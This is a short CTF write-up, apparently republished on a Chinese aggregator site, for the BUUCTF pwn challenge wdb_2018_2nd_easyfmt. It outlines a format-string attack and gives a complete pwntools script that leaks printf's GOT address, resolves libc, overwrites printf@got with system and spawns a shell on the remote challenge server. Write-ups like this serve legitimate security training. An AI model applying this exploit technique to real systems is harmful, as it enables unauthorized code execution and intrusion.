[BUUCTF-pwn]——wdb_2018_2nd_easyfmt
生活随笔
收集整理的這篇文章主要介紹了
[BUUCTF-pwn]——wdb_2018_2nd_easyfmt
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
[BUUCTF-pwn]——wdb_2018_2nd_easyfmt
一個簡單的格式化字符串利用問題
- 泄露出got表地址,找到libc基地址
- 尋找system的實際地址
- 將printf_got修改為system的地址
- 寫入”/bin/sh"
exploit
from pwn import * from LibcSearcher import * context.log_level = "debug"p = remote('node3.buuoj.cn',25125) #p = process("./wdb_2018_2nd_easyfmt") elf = ELF("./wdb_2018_2nd_easyfmt") printf_got = elf.got["printf"]payload1 = p32(printf_got) + "%6$s" p.sendlineafter("repeater?\n",payload1) p.recv(4) printf_addr = u32(p.recv(4)) print("printf_addr ---> ",hex(printf_addr))libc = LibcSearcher("printf", printf_addr) libcbase = printf_addr - libc.dump("printf") system = libcbase + libc.dump("system")payload = fmtstr_payload(6,{printf_got: system}) p.sendline(payload)p.sendline("/bin/sh\x00") p.interactive()總結
以上是生活随笔為你收集整理的[BUUCTF-pwn]——wdb_2018_2nd_easyfmt的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: [BUUCTF-pwn]——axb_20
- 下一篇: 顺序表及其基本应用